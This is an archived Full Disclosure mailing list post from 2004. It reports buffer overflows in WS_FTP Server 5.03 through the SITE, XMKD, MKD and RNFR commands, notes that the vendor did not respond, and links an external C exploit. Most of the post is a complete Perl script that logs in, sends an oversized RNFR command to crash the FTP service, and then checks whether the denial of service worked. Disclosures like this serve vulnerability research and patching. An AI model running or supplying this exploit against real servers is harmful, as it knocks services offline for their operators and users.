Full Disclosure mailing list archives

Multiple buffer overlows in WS_FTP Server Version 5.03, 2004.10.14.


From: Reed Arvin <reedarvin () gmail com>
Date: Mon, 29 Nov 2004 09:37:02 -0700

Summary:
Multiple buffer overflows exists in WS_FTP Server Version 5.03,
2004.10.14 (http://www.ipswitch.com/).

Details:
Multiple buffer overflows exist in WS_FTP Server Version 5.03,
2004.10.14. There are four vulnerable commands that can be used to
cause these buffer overflows. Three of the vulnerable commands can be
used to stop the WS_FTP Server service resulting in a denial of
service. The vulnerable commands are SITE, XMKD, MKD, and RNFR.

Vulnerable Versions:
WS_FTP Server Version 5.03, 2004.10.14

Solutions:
The vendor was notified of the issue. There was no response.

Exploit:
http://noph0bia.lostspirits.org/Exploits/IPSWSFTP-exploit.c (Thanks to
NoPh0bia noph0bia[at]lostspirits[dot]org)

#===== Start WS_FTP_Overflow.pl =====
#
# Usage: WS_FTP_Overflow.pl <ip> <ftp user> <ftp pass>
#        WS_FTP_Overflow.pl 127.0.0.1 hello moto
#
# WS_FTP Server Version 5.03, 2004.10.14
#
# Download:
# http://www.ipswitch.com/
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill WS_FTP Server service at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER $ARGV[1]\r\n";

        sleep(1);

        print $socket "PASS $ARGV[2]\r\n";

        sleep(1);

        print $socket "PORT 127,0,0,1,18,12\r\n";

        sleep(1);

        print $socket "RNFR " . "A" x 768 . "\r\n";

        close($socket);

        sleep(1);

        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "21",
                                            Proto    => "TCP"))
        {
                close($socket);

                print "failed!\n";
        }
        else
        {
                print "successful!\n";
        }
}
else
{
        print "Cannot connect to $ARGV[0]:21\n";
}
#===== End WS_FTP_Overflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
Exploit assistance from NoPh0bia noph0bia[at]lostspirits[dot]org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: